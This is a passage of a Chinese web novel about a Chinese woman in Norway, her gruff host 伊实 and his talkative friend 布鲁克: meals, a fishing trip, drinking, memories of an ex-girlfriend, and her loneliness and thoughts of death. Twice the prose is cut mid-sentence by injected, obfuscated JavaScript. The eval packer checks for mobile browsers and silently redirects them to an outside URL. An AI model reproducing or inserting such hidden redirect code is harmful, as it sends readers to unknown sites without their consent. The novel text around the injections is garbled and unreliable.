“Cutevoice.”他的语气十分盎然,似乎想挖出大新闻,又问道:“伊实说他在家门口捡到了你,是真是假?” “真的。” “天,我以为是个玩笑!你找他干什么?不,你怎么找到他的?我可把他藏的够隐蔽了!” “……意外,他救了我。” 他摆出深有同感的欣慰的笑:“我懂,我懂,他是那类成天嚷嚷着要把狗丢掉却养到它们安乐死的主人。哈哈,那身腱子肉还挺有看头的是吧?没什么人敢招惹他。” 谈到狗,我唤醒了屈辱的记忆,“Timmy?” 布鲁克:“你怎么知道?” 我不语,总不能说我和一条狗平起平坐过。 “然后呢,厨师小姐,你和伊实上过床了吗?”我怀疑布鲁克一开始就想问这个问题。 我摇头,面不改色地将牛排切成丁,一些没有处理干净的牛筋让我多费了一会儿力气。 “可你们刚刚在亲嘴。”布鲁克说。 难以回答的问题我可以通通装作听不懂,这就是非母语交流的方便之处。 布鲁克耸耸肩对此并不上心,接着说道:“算了,不是今天就是某天。我必须提醒你的是,伊实有个疯子前女友,请注意,是totallycrazy!如果你遇到她,可要小心一点。” 我激起一层鸡皮疙瘩,反驳道:“我们又没在约会。” “但你们总归要上.床的啊!” “……”我严肃地说:“我不会和他上.床的。” 布鲁克终于露出无比诧异的表情,朝着伊实离开的方向欲言又止,送了一大份的怜悯过去。 “好吧,你们都很怪异。既然是旅游,来一段露水情缘不是很妙吗?噢我给忘了,中国人很腼腆,这就解释的通了。” 我纠正他:“不是旅游。” “移民?” “差不多。” 布鲁克开朗地笑了两声,说:“打算以后都跟着伊实吗?” 他好像压根没把我方才“没有在约会”的话听进去,竟然问出这样不可理喻的问题。我再次强调道:“不,只是一段时间。不会很久。 “没有区别。”他很擅长自说自话,“既然如此,我有责任告诉你Chloe到底有多疯狂,你知道,她最近越来越不安分,我真是受够了!” 我看他只是想一吐为快罢了,不是真心在警示我。 “我不知道他怎么忍得下这样一个龌龊又凄惨的女人,她烧毁了布鲁克林的一家餐厅,伊实因此和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572863|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 餐厅经理打了一架,面对警察他才知道纵火犯竟然是自己的女友,所幸火势不大,最后靠七千美金和她和经理上床弥补了损失。不仅如此,整整三年,一千天里有五百多天她都和自己的牙医混在一起。她是个可恶的骗子!谎话连篇!我真是受够了!” 布鲁克两颊松弛的皮肤随着愈发激烈的话语不停颤动,我有点担心他会不会因此休克过去。 “你生气是因为她没有欺骗到你身上。”我说。 他抿了抿粘在嘴唇边的唾沫星子,摇头晃脑大方承认:“Well,我承认她样貌上无可挑剔……但是如你所见,我也很有钱,为什么不能是我?” 他一本正经困扰的模样令我发笑,尤其是他不小心用叉子磕到牙齿时脸上挤出的皱纹。他看上去很老了,思想却很年轻,Chloe真该亲一亲这个真诚到有些糟糕的老头。 伊实携带一股浓稠的烟臭味回来,目光仍然从我头顶粗粗掠过,我不好随意解读他突如其来的疏离,只能说他移开的目光深深刺痛了我的心,我最受不了被那样对待。在法庭上被告也有发言权是基本常识,而我茫然地站在原地手无寸铁连罪名都不晓得。 吃完饭后我们和布鲁克道别,有专门的司机来接他,无需担心他呆在这里会遭遇谋财害命的情况。 泳衣最后还是被买了下来,潮湿如蜗牛一般被装进袋子里,用的是布鲁克的钱,所以我不知道这能不能算伊实本人兑现的承诺。我坐在公交车上双手不安地□□袋子的抽绳,不够聪明,似乎闹出了不得了的场面。 伊实在我身旁闭目养神,但我确信他没有睡着,只是通过这种方式屏蔽周围所有人,包括我也流离在外。感官离我而去,我感到一阵头疼,手指若蝴蝶振翅轻微颤抖。也许是我太累了,累得连闭上眼睛睡觉也做不到,只能全身心地努力消化疲惫。 沉默寡言和胡思乱想苟合出无边无沿的怀疑和以己度人是我这辈子甩不开的命。一颗苹果我要尝到它的果皮,尝到它的果肉,尝到它的种子,尝到它表皮的蜡,要没有经过它的同意就擅自将它在我的口腔里肢解,只有这样,我才能说我完完全全了解这颗苹果。如果遇到烂苹果,那我一定是必死无疑。 我身上散发出的呛人气味刺激到了伊实的鼻子,他不舒服地改变姿势,喉咙里发出水泥未干而与粉煤灰磨合产生的气泡。 “布鲁克和你说了什么?”他的声音很突兀地出现在我的焦虑里,我愣了愣,像鱼一到七秒就要清空记忆一样脑子一片空白。 我奇迹般能够美妙地呼吸了,抚摸指关节处的勒痕,抱着袋子,不再绑架它们。 “没什么。”我说,用余光偷偷瞥过去,又快速收回。 “没什么?”他睁开眼睛,用我熟悉的得理不饶人的语气说道:“恐怕在你那儿我已经和乌苏里棕熊共用一个族谱了吧。” 那是什么东西我没概念,沉吟了一会儿,说:“他和我说了Chloe。” “具体说了什么?” “她劈腿了。” 他无声骂了一句脏话,“还说了什么?” “……没了。” 他睨我一眼,“最好是。” 眼看他又要竖起屏障,我紧接着问:“你还对她还有feeling吗?” 我承认,这么问不但肉麻还有点多管闲事,退回三秒前我会选择保持沉默的。 意料之外的是他答得非常精简干脆:“Feelinglikeashit.” “……”我脑子转了一圈,挑选了一种较为得体的翻译:屎么感觉都没有。 好吧,这样笨拙的铺垫方式我以后不会再使用了。我硬着头皮追问:“你生气吗?” 他哼了一声:“随便吧。” “不是对她,我是说,对我。”我的声音竟然有一丝摇晃,实在窝囊。 我低估了恶习的危害,认为只要戒掉就不会有再染上的可能性,然而它在我体内留下了火种,只需要一点微小得不能再微小的火源,就能瞬间复燃。我竟然像暑夏烈日下吐着舌头的狗一样迎合太阳的喜怒哀乐。 伊实侧过脸,枕在椅背上,问我:“你要哭吗?” 我不说话盯着他,没准眼眶里真的蓄满泪水。 “不会吧……”他小声呢喃,直起身子,神情变得紧张,用指腹擦掉我眼角的眼泪,结果发现他越擦我的泪流的越多,语气也跟着急上眉梢:“真是……停下!你刚刚问什么,说真的,你这么瞪我生气的人明显是你吧eon……有办法把这个关掉吗?这样,你咬我吧,你擅长咬我,嗯?给你?” 他把小臂伸到我面前,我不客气地一口咬下。 “Aw!好可怕的怨恨!行,你继续咬着,我来说明,”他非要把我脸上的一切水分擦干不可,“我没生气,让你游泳纯粹是因为好玩——操!我的胳膊!——只要你停止哭泣,我不会再让你碰水了,成交吗?” 我松口,做了个吞咽的动作便止住了眼泪,收放自如连我自己都佩服。情绪飘荡至树梢,不高不低足够保命,有事没事看看鸟。突然间我又忘记了自己被弹上去的原因,觉得何必呢,没什么大不了的,被丢进水里游了几个小时而已,最后不是被托上岸了吗,被亲了一口而已,最后不是也咬回来了吗。 风啊火啊雷啊电啊它们发生它们熄灭,关我什么事。 我闭上眼睛睡觉,双手交叉抱胸。伊实见到这一幕磨了磨后槽牙,两个鼻孔出气,动作幅度很大的靠回座位,而我仍旧不为所动,他低声咒骂道:“Woman!” 14. 第 14 章 第二日一大早布鲁克登门拜访,彼时我正在给房东做早餐,手上沾满了沙拉酱,任何事情控制不好力度都会酿成大祸。由于我还挺中意这位大言不惭性格直爽的糟老头,所以给他也做了一份。 “万分感谢,布朗太太,您今天的气色不错!”他向我鞠了一躬,语调揶揄,斜着眼明目张胆地调侃伊实梅尔?布朗先生。 我拉开椅子刚要坐下,被人踢了一脚,我痛叫一声,伊实抬手说sorry,下一秒布鲁克和我发出了一样的惨叫。 “管好你的老舌头。”伊实不客气地说。 他们从某种角度上来说像从一个模子里刻出来的,谁也不比谁高档,摆在橱窗里也是挨在一块做同样的动作,只不过伊实更气宇轩昂些,而布鲁克因为年龄失去了一部分精力所以用油嘴滑舌弥补。 餐桌上布鲁克邀请伊实去钓鱼,他找了块好地,啤酒也准备好了,钓鱼工具在他开来的车上,把伊实可能拒绝的理由全都扼杀在摇篮里。伊实对钓鱼的兴致并不高,但据布鲁克宣称,这家伙受鱼喜欢,就算是喝了烈性酒坐在岸边睡觉,魂不着调地空握一根鱼竿,鱼儿还是老往他那边跑。 见伊实并未表态,布鲁克看了看我,提议把我也带上。我惊恐,本人也就在菜市场用杆子戳过鱼,没钓过那玩意儿。 果然伊实也这么认为:“她去干什么?当鱼饵?” 布鲁克耸了耸肩,“为什么不呢?” “……” 于是被消遣成鱼饲料的我也上了车,来到一面湖上接受鱼腥味的腌制。他们一人一个折叠椅,隔着五米的距离,分两边钓鱼,而我坐在后备箱,晃着双腿,掌管一团还在蠕动的沙蚕。 我丝毫无法理解钓鱼这项运动的乐趣所在,但不失为一种杀时间的有效方式。这辈子我都没有机会碰到鱼竿的,在我的家乡,早有人用一张大渔网捕捞起了所有水域里的鱼。 真有意思,我随便走进哪家餐厅都能够吃到想吃的鱼,但永远无法为自己钓上一条鱼。 布鲁克朝我招手,我带着他的鱼饵走过去,发现一旁的伊实将脖子缩进衣领里,淹没了半张脸睡着了。 “一向如此。”布鲁克解释道,一边收钩换鱼饵,一边说:“现在你去抢他的鱼竿,他也不会有反应。” 地上散落几罐被压扁的啤酒罐,我悄声问:“这是喝醉了?” “不,他酒量好得很,但睡相差。”布鲁克说。 “……” 既然如此,我也不算趁人之危,顶多是合理继承衣钵。我绕开啤酒罐挪过去,蹲在伊实膝下,仰着头观察了一阵。 他的眉头夹的很紧,看上去不是一场好梦。他用一只手把鱼竿压在腿上,另一只手无意识地垂放,由于充血,白皙皮肤下的血管清晰可见。我盯着他的手,像盯着一颗成熟的红苹果,突然想尝一口,所以伸出手去摘了。 我碰了碰空气,在他的手背外徘徊,欲近又止,从他的掌下划过,轻轻握住了他的食指。瞬息间,我的手被反抓过去,像是有人从我背后开了一枪,强大的冲击力让我向前扑去,最终落在一个鼓声轰鸣的怀抱里,那是我的心跳。 “上钩了。”他在我耳边说。 我正愣神,半跪在地上,茫然地抬起脸,可下一秒他又将我推开,我栽在地上,听清他的声音,原来是:“鱼上钩了!” 伊实动作熟稔地收线,分明活跃得很,我恍然大悟:“你没睡!” 他转过头鄙夷地看了我一眼,“谁说我睡了。” 这时布鲁克邪恶地放声大笑,笑声顺着鱼竿令水面波澜荡漾,我这才明白被贼人偷去了智慧是件多么丢人的事。 我干脆躺在地上,双手掩面,谁也不想理,现在把我放进桶里让即将死掉的鳕鱼安慰我也不能挽回我失去的面子。 伊实拎着竿子从我身上跨过,倒是贴心地没有踩到我,对布鲁克说:“你犯的,你哄。” “什么?” “她哭起来可了不得。” “真的吗?有那么可怕?” “你看过就知道了。” “……”我捂住眼睛就捂不住耳朵,听他们一人一句编排我,我连穷凶极恶的反驳话也说不出来。 布鲁克蹲下来戳我,我坚决一动不动。 “你平时怎么应对这种情况?”布鲁克虚心请教。 “给她咬或者抓什么东西。”伊实说得好像很有经验,一副前辈口吻。 布鲁克小声咕哝些有的没的,过了一会儿才好声好气地对我说道:“嘿,孩子,听着,我同意你和伊实的亲事了,给你一栋房子当嫁妆,我希望我们以后还能愉快地——呃!”他后面的话被伊实一个锁喉塞回了肚子里。 “脑子糊涂了你!别见着谁就给我卖了!”伊实指着布鲁克的脸厉声说道。 我来了兴趣,撑起胳膊肘坐起来看。天老爷,布鲁克哪里是伊实的对手,脸被勒的通红,使劲拍打他的胳膊求放过,还是个好了伤疤忘了疼的,好不容易能喘口气,一出声就是顶嘴。 “你不答应?!你还能不答应?!是你神经出差错了吧!”布鲁克按摩着脖子嚷道。 伊实脸上大写着离谱:“你到底在说什么?!” 布鲁克沉默盯了他一会儿,什么也没说,摆着臭脸自顾自坐下来继续钓鱼。 “……”伊实必然不罢休,神情逐渐由困惑变得明确,信步走上前,说:“你还在做那个不切实际的白日梦是吗?” 布鲁克轻蔑地撇撇嘴。 “可是呢,你信我不如信上帝,我永远不会结婚,更不会有小孩那种东西,顺带一问,你喜欢小孩怎么不喜欢Timmy?”伊实问。 布鲁克钓鱼的手法早已乱了,这一片的鱼不会蠢到咬一个飘来飘去明显是陷阱的食物。他轻嗤道:“我的孙女可不会到处撒尿还喜欢吃呕吐物。” “嘿!说话注意点,那时候她还没被驯服!” “我不在乎,我想要小孩。” “这话从你嘴里说出来真够恶心的。” “所以应该由你来说。” “也很恶心。” 老实说,我看他们吵架能看一整天,但饶是我再怎么安静地吃瓜,还是被他们注意到了。布鲁克向我勾了勾手,叫我要躺也去他那边躺着,他要找个人一起说伊实的坏话。我看了看伊实,他一脸无所谓,也不想管我,三步两步回到位置上喝酒钓鱼,我便顺理成章地坐在了布鲁克身边。不过我们没聊上天,他专注于钓鱼,我专注于天马行空。 最后他们一共收获了五条肥美的鳕鱼,放生了三条,拎回家两条。看看,物竞天择,到头来还得是天择。 伊实留布鲁克在家吃晚餐,使的手段相当阴险——未过问我的意见就擅自吹嘘我会做鱼,扣了一顶高帽子在我头上。 好巧不巧我偏偏真的很会做鱼,曾经有一位和我亲密无间的女孩她非常爱吃鱼,为了满足她的胃口,我几乎什么鱼都会做,连带其他种类的海产品也爱屋及乌。但一年前我们分手后,我做的鱼就少了。 男人们在客厅侃大山,我一个人在厨房做晚餐,有好几个瞬间我都想撒手不干了,但手里的菜刀却怎么也放不下。我真的太久太久,没有做过鱼了,这场苦役竟然成了一种缅怀。 她爱吃咸口,又对糖醋鱼抱有永不死心的好奇,钟爱我当时住的出租房楼下的烧烤摊的烤鱼,她不擅长挑鱼刺,喜欢吃鱼眼睛,会把鱼腮旁的肉夹给我。她实在是太爱吃鱼了,以至于我快忘了其实鱼是最不好做的一道菜。 最主要的是,她不会在我做鱼的时候袖手旁观,她会给我递盘子,开火,问东问西,最后说“这是我们一起做的哦!”,可爱极了。 受不了了,谁都好,来个人吧,别让我一个人在厨房里像个机械牛一样疯狂冒汗,那指定会出故障的啊!出了故障就要摔倒,摔倒了就爬不起来,爬不起来就要着火,着火了大家都得死! “培根需要这么焦吗?” 我吓一跳,一滴冷汗正好从额间流下。是伊实一声不吭地挤进灶台里,更是一声不吭地从我手里拿过锅铲。 “对不起,我走神了。”我为自己的老毛病道歉。 “想什么呢?”他漫不经心地问,顺口偷吃一块培根。 我关了火,诚实地说:“前女友。” 伊实原本要拿柜子里的膨化零食,被我一句话半路拦截,“什么?你想她干什么?布鲁克到底和你说了什么?” “不是你的前女友,我的。” 他的表情出奇的精彩,而我还沉浸在悔恨的余热之中,没有心情欣赏。 “你他妈的是蕾丝边?!” 我摇摇头:“谈不上。” 伊实定睛看我,自说自话:“不像……” 我正伤心,没心思和他分享我的性取向,不过也多亏了他的存在,我才得以从回忆的漩涡中走出来,所以不排斥他在旁边点兵点将。 “你从没说过你喜欢女人,那种话的说服力的确也不高。但是——”我走到哪儿,他跟到哪儿,有着非要凑到我面前讲话的仪式感,“你看着真不像。你是哪边的?等等,容我思考一下,太荒谬了,不可能,绝对不可能。” 我吭哧吭哧地洗盘子,同时为他答疑解惑:“Both.” 他顿时赞叹不已,鼓起掌来:“完美。” 鱼汤好了,我小心翼翼地打开盖子,裹了两层毛巾隔热以防烫伤,伊实自告奋勇:“我来吧。”只见他徒手端起锅的两边,面不改色地挪到餐桌上。 “……” 布鲁克闻到香味便过来了,对于他的夸赞我竟没有一点收获,不似在这第一回做菜那样兴奋。我的“想要”分为三个阶段,第一阶段为起心动念,第二阶段为死不罢休,第三阶段为可有可无。我总是要着要着就不要了,不是我热情消解了,而是我忘了要它干嘛,如果我记起来,热情应该会再度出现。 餐桌上的气氛比早晨那顿好不少,酒是必不可少的一份子,我也怀着侥幸心喝了一点。 布鲁克和我一样醉,他喝了高度酒以后反而浮现出他那个年纪该有的老成持重来,仿佛下一秒会为了告诫晚辈而说出一大堆多愁善感的道理。但是没有,他依旧用苍老的嗓音说着不着调的话。 “你、你在这里的时薪多少?不如去我家做饭吧?保证比他对你还好。”他对我说。 我的老房东听到猎头的嚣张发言丝毫不恼,大大方方:“完全没问题,但你需要时刻盯防着别让自己的屋子里出现命案。” 果然又在炒我的冷饭,哪有像他这样救了人还唠人一辈子的家伙,人道主义在他那就是一件易碎的花瓶。 布鲁克搓了搓眼睛努力保持清醒,问我:“为什么想着死?” 我不想谈这个话题,所以只顾喝酒吃菜。好在他们没有追问,否则我将带着我委屈的胃一起醉倒在餐桌上。在我迷茫的时候谈论死亡正如询问一个上错车次的旅客终点站在哪里,答案只有无可奉告。 我什么都不知道,无法回答任何以“为什么”开头的问句,搞不懂有搞不懂的痛苦,搞懂了也有搞懂的痛苦,总之我常常痛苦,无颜面对人类思想的说明书,我用它来虚度光阴,残害生命。 抛开死亡,他们又开始谈论“性”,以为我双手托住下巴眼睛半睁不睁早已神智不清,便肆无忌惮地谈论起来。布鲁克借着酒劲问伊实为什么不跟女人混了,Chloe有那么令人念念不忘吗?为什么不再和女人出去约会了?难道要效仿他死了老婆死了儿子留着命根子没用就成天吹牛解渴?布鲁克越说越疯狂,也越说越气馁。 伊实自始自终避而不谈,只是将培根切了一块又一块,神色上也看不出什么状况,对此情景见惯不怪似的。我拍了拍他,担忧地问:“他这样没事吧?能呼吸吗?”此时的布鲁克已经面色涨红,不得不停止演讲调整呼吸。 “可能会出问题,但他的医疗保险足够周到。”伊实如此说道,令我感到冷血 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我愣了一会儿,直到他的力度令我不得不皱起眉头,我拂开他的手,摇摇头说:“我很好,只是情绪有些激动,我以前喝了酒也会这样,抱歉。” 伊实目光深沉地打量我,我尽力躲闪,不愿对上他的视线。布鲁克拖拉地笑了两声:“你说的是我本人……谢谢你帮我说话,我很喜欢你。” 我也回应了一个笑,但那一定不美观,抿起嘴扯开嘴角的动作非常疲惫,胸口堵车了似的拥挤。 “我累了,伊实,我回房间了,你对她好点清楚了吗?我很喜欢她,让她留在这。” 这里本就是布鲁克的旧房子,他找伊实玩的时候就会在这住几晚,所以这里才会滞留着一些属于他的零零散散的物品。他语重心长地说完那句话,便迈着醉晕晕的步伐去了房间。 “那么你呢?”伊实一双慵懒的眼神看过来,“想睡觉吗?” 我默默倒酒算作回答。不清楚今晚我的肝脏能否守住这一城,上一次打仗还是几年前我□□地站在浴缸里说出“世界就是一个巨大的坐便器”这一哲理的时候,我记得那时有一个人在旁边围观,而现在我的身边恰好也有一个人围观,也就是说,本人的洋相逃不开另一个人的大脑记忆备份。 我举起酒杯想要一饮而尽,却被伊实扣住了杯口。他连对他有恩的布鲁克都不稀罕给点关心,难道这会儿开始关心我了吗? “你又要哭了。”伊实笃定地说。 我倍感荒唐,反问:“你在关心我吗?” “Care?Whyareyousocareabout‘care’?”他像在说绕口令,“我来给你解释什么叫做‘CARE’。Coward,Amplifies,Raddled,Experience。够清楚吗?”他掰着手指头,说一个词掰下一根,最后只剩下一根小拇指。 “你想得太多了你知道吗?你的瞳孔看不到一点有用的东西,漆黑一片。你的脸呆的像个木头,要么就是变得跟在外欠了几万块那样凄苦。你想太多了,况且你想的就不一定是正确的。” 他冷静地奚落我,我这张木头脸如他所说的那样做不出反应。他为何总对我置气,我脑袋里浮现这个问题,又或者是,我为何总想对他置气——因为他不懂我的过往却时常一针见血地找到我的要害,这不应该。 我低下头,开起玩笑:“你难道凭借这个拿到过什么学位吗?” “什么意思?” “主修说教。” “不,我那是嘲笑。” “真是甜蜜。” 果然,只要我敞开胸怀接纳他的挖苦,以德报怨,他就拿我没辙。他收走桌上的空盘子,对我说:“睡觉时间到了。” 我面前的餐盘被收走,包括酒杯。“哈哈……”我突然发笑,想到了反客为主的好诡计。 “那个,布鲁克方才说的我都听明白了,你好些日子没找女人了。” 伊实打开水龙头,就着哗哗水流声骂道:“去他妈的。” 我闭上眼睛回想,完全上头,“所以你吻我是想……”话语被我故意戛然而止,如此才能起到调侃效果。 “去他妈的。”伊实再次骂道,撇下水槽里的盘子大步走过来,“我要早知道你是个蕾丝边我碰都不会碰你。” 我的眼皮重到只能睁开一半的眼睛,好在嘴角还能无限上扬,“你得承认,你对我有感觉,兴趣!还有怎么说来着……” “闭嘴。”伊实气得就差没亲手堵住我的嘴了。 “那就奇怪了,你脖子上时不时多出来的红印子是哪里来的?”我问,在医院的那天我还误会了,闹出个笑话。 伊实摸了摸脖子,说:“没必要告诉你,以前不是真的,从今天开始都会是真的。” 倒是硬气,布鲁克听到这话肯定要感谢我,小小激将法就让这人破了戒。 我去洗了把脸,然后在沙发上躺下。伊实没有我想象那样懒惰透顶,他主动洗了碗,收拾了厨房,并靠在窗边抽完了一只烟。 我阖着眼尚未入睡,在他从我身边经过的时候说:“实际上,我也交过男朋友。” “所以呢?”伊实在地上坐下,点起一盏小灯,手中传出翻书声。 我翻身去看,仍旧是那本红色封皮的书。“没什么,只是,你吻我不丢人。”我说。 他抬眸睨了我一眼,“这不好笑。” “你在看什么书?” “小说。” “什么小说?” 他不耐烦地发冲:“醉鬼就该去睡觉。” “你不也醉了吗?”我说。 “从哪儿看出来?” 我牛头不对马嘴地蹦出一句:“你好神秘。” 他被烦得不愿在这待了,拿着书起身就要走,而我牵住了他的手。 “留在这。”我说。 15. 第 15 章 暗淡昏黄的灯光将他的半张脸藏在阴影里,勾勒出挺拔的鼻梁骨,以及下垂的眼眸所致,握着他的无名指和小拇指的我的手。 “怎么,还需要我给你讲睡前故事再给你一个晚安吻你才愿意睡觉吗?”他待在原地不动,只有喉结在明暗交汇处起伏。 可以吗?我在心里问,但我好面子,我永远说不出口。 我从未赞同过出现在我身上的所谓“魅力”,又或是“吸引力”,那些在我这里有个更贴切的名称,叫做“手段”,留下某个人的手段而已。有人喜欢我知书达理,那我可以从头到尾羞涩如处.女,有人喜欢我霸道主动,那我可以释放满心满意的占有欲。 思想抽离的时刻我常常清高自傲地评判“小我”所扮演的角色——我叫她“小我”,一个全身敏感、长满摄像头的演员——有巧思,却不够熟练,一粒小小的穿帮就足以致命,走向杀青的结局。“小我”到底是个可悲又拧巴的人,她想要陪伴,却信不过任何人,她有嘴巴,却开不了任何口。 看看,我什么都知道,我什么都知道,有问题就想办法解决,这么简单的道理我当然知道,办法我有,还能给诸位列一篇细致入微的解决方案出来,哪又怎么样呢?现在握着另一个人的手,除了诱惑我还是干不出别的事儿来。 “留在这。”我机械地重复道,歪斜着身子,衣裳垂落恰好露出半个肩头,深幽的领口散发淡淡的香味。 好恶心啊,你好恶心,在厨房里想着前女友,感到孤独害怕了就不择手段地找个替代品,非但不改正,你还变本加厉,你是这个世界上最应该下地狱的人。 可是,我更怕昏沉睡意下从无边无际的黑夜里冒出来的骷髅惨叫!原谅我,不原谅也可以,糟蹋我,不糟蹋也可以,怎样都好,请陪陪我。 高大的伊实从远远的地方蹲下来,他默不作声,也目不斜视。或许我体内的元气早就耗得一干二净了,周围的景象逐渐虚化,眼里只剩下他庄肃的眉骨。其实不管我我也能睡过去,抽干水分之后躯壳会慢慢地干瘪,砍树砍一半树会自己向一边倒,没必要做得彻头彻尾。 挺没劲的,我前后不搭地嘿嘿一笑,松开了他的手,温顺地躺下,嘴角还挂着怯虚弧度。 “如果我是你,就不会连最基本的量力而行的道理都不懂。”他说,声音和我的耳朵隔着不远不近的距离。 我双目失明,像打了麻药一样一潭死水,实则是在用逃逸的方式减轻罪恶感。他的气息悄然靠近,在我的额头中央留下由轻到重的一吻,除此之外,再没有触碰我。 他关了灯,回到卧室,发出两声蓄谋已久的咳嗽,人在刻意保持安静的时候体内的空气就会紊乱。而我的眼皮下刮起一阵凄苦的寒雨,在任何一个没有水分的沙漠里都是极为亮丽的风景线。 沙发上出现雨迹,我开始做梦。 仿佛看见小C穿着我爱的草绿色波点吊带裙四仰八叉地躺在床上,那不雅观,但她说如果观的人是我那么无所谓雅不雅。她还说,我们是特殊的情侣,在剧本里有相当丰富的描写。然后她站了起来,迈着小碎步走向我,将脸贴过来,笑眯眯地话又说回来:学姐,没有什么能比我们的开始还要不雅。 我唰白了脸,努力扯起嘴角。现实里的小C不会说那种话,会那样想的人是我。 果然,冒牌小C立马换了一副面孔,用力地扑进我怀里,楚楚可怜地反省中。 “学姐,你是个可怜人,我也是个可怜人,见到你的第一眼我就知道我们是灵魂的伴侣。” “学姐,为什么非要把狂热变成忍耐,为什么被人绑了手脚却不懂得挣扎?我能拯救你,我喜欢你,太喜欢你了。” “学姐,这方面我才是前辈,你得向我虚心请教。” 我驻足在原地,双手有千斤重,竟举不起一分一寸回应她的拥抱。 我的行李被男友从二楼阳台丢进草丛,小C毅然决然地拉住我的手离开,自此开启了特殊剧本的创作。我们不斗嘴,不吵架,我们互相扶持,互相鼓励,理解浪漫和润滑剂。然后有一天,不知道是我哪里出了纰漏,小C发现了包装我的外壳实际上是粗制滥造,十分失望地摇摇头:“学姐,你太执迷不悟了,很无聊。” 是很无聊,地摊上的小八音盒一生只会唱一首歌,是很无聊。 砸烂它,侮辱它,破坏它,它顶多闭嘴,一旦张口必然还是陈词滥调。 书上把“爱”夸的天花乱坠,而我不敢苟同,“同情”一词更接近。 …… 清晨,我在一阵眩晕和通话声中撑起双眼,我按了按太阳穴,努力挤出脑子里的气泡,结果越按越痛,索性翻了个身继续睡。 通话声结束,脚步声在我耳边停下,一双手从后面晃了晃我的肩膀。 “嘿,你醒了,起来吧。”布鲁克的问候十分没有眼力见。 我不做声,蜷缩得更加厉害。 “趁现在还能吃上瓦萨里奇家的早餐,快起来。”布鲁克坚持要唤醒我,“他爱吃米饭,你来这很久没吃到米饭了吧?伊实对那种东西不感兴趣。现在起床,我们开车过去,用不了多久,我已经拜托瓦萨里奇给我们留位置了。中国不是大米之国吗?你不心动吗?快点儿,醒醒。” 我皱起严厉的眉头,什么也阻挡不了我养精蓄锐。 eon,我都已经夸下海口了,我的朋友,让他们见识见识我交了一个多棒的朋友,起来吧,就当是为了我。” 我和布鲁克只有两面之交,这个理由在我这必然要扑个空。这场僵持持续了几分钟,以我忍受不了口腔里又苦涩又反胃的味道而了结。沙发像驶过海浪的船只一样把我甩出去,我迈着错乱的步伐走去洗手间。 “他醒了吗?”我问。 身后的布鲁克说:“不知道,我没算上他的人头。” 我搓了搓眼睛,回头又问:“他不去吗?” “不去,就我们俩,如何?”布鲁克激励着我。 洗了把脸以后我清醒了许多,擦干手开始梳理头发,此前我没怎么在意过我的头发,虽然它依旧要脱落几根表示对地球引力的尊重,依旧发根分叉枯黄,但我不再为此沮丧。 我透过镜子瞟了眼布鲁克,说:“你有信心保证他不会生气吗?” 布鲁克往上甩手,“我才不管他呢!你害怕他吗?” “不。”我嘴上这么说道。 实际上嘛,有一点怕,没办法,就算在他强壮的体格和粗烈的长相下努力屏住呼吸强装镇定,然而在他极具洞悉力和攻击性的言语下没有谁能忍住不破防。 布鲁克的车技同他一样年迈,给轮胎增添了意料之外的颠簸。我倒也纳闷,伊实在这条路上开的时候我还能睡过去呢,没怀疑过是路不好。从车子转入一个我不熟悉的岔口开始,周边的一切对我来说都很模糊。 瓦萨里奇先生的住宅门口堆满了积雪,这不是清雪车的失职,恰恰相反,这体现了他们事业里的人情味。积雪旁边竖着一块立牌,上面写了两行挪威文字,我盯看许久,布鲁克逐字翻译道:“它们有用,请别清扫。” 我问:“有什么用?” 布鲁克:“瓦萨里奇家的小孙女喜欢埋宝藏,他慈祥的爷爷不忍心那双吹弹可破的小手被泥土给毁了。” 我在他脸上看到了羡慕,其他的我无法多嘴,便没追问下去。 布鲁克敲了敲门,门后出现一位岁数看上去与他不相上下的老爷子,体型却是他的两倍,带着屋内温暖醇香的人烟气息来迎接我们。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572865|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘿伙计——”瓦萨里奇张开双臂,像一座拖拉机向布鲁克开去,“可让我好等!” 布鲁克本想伸出手臂拍拍他的背,但他明显够不着,于是迈上一个台阶,象征性碰了碰他的肚子,“你知道的,从伊实那儿开出来要费点功夫。” “你从那儿过来的?”瓦萨里奇很惊讶,赶忙让出一条路请我们进去。 “当然了,不然怎么给你带来我的新朋友。”布鲁克朝后撇了撇头,“她现在可是伊实在养,我偷出来了。” 瓦萨里奇的视线移到双手插兜一声不吭的我身上,问:“就是她吗?” 我低着头,还在考虑进别人家门第一件事就是脱鞋但是四处都没有鞋柜该怎么办。 布鲁克:“是的,她是个血统纯正的中国人。” “你已经在电话里说过了,朋友。” “是的,她也是我交的第一个中国朋友,我们感情很好。”布鲁克夸大其词,似乎很骄傲能和我扯上关系。 瓦萨里奇哈哈大笑:“Well,well——我明白了,下回我把赵请来,他们一定能一见如故。” “当然了,我是说,当然了。”布鲁克点点头。 瓦萨里奇领我们到客厅,这儿连着开放式厨房,显得格外宽敞。除此之外还有一个漂亮的壁炉,懒懒地燃着一簇火,将整个屋子照成黄昏色,和外面冷酷得要命的蓝灰色成鲜明对照。沙发上铺满了玩偶和其他色彩鲜艳的小玩意儿,它们杂乱无章,这是不可避免的,小孩的生存空间熵变大的速度往往要比成年人高个几倍。 这些玩具的小主人们此时正跪在地上,察觉到身后的动静,掰过整个身子看过去,很显然他们这个年纪尚未完全获取脖子的掌控权。布鲁克是这里的常客,小孩儿们对他没有一点新鲜感,那么承载这种纯真无邪的新鲜感的人一定是我了。 